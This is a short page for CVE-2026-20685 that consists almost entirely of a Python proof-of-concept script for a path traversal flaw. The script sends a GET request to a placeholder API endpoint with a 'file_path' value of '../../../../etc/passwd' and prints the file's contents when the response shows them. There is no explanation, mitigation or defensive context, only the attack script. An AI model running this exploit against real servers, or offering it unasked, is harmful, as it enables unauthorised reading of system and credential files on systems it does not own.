CVE-2026-20685

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-20685 (Path Traversal) # This script demonstrates a potential path traversal attempt. import requests target_url = "http://pcc-node-endpoint/api/v1/data" # Malicious payload attempting to traverse directories payload = { "file_path": "../../../../etc/passwd" } try: response = requests.get(target_url, params=payload, timeout=5) if response.status_code == 200 and "root:" in response.text: print("[+] Potential vulnerability confirmed: Sensitive data leaked.") print(response.text[:100]) else: print("[-] Vulnerability not exploited or target patched.") except Exception as e: print(f"Error: {e}")

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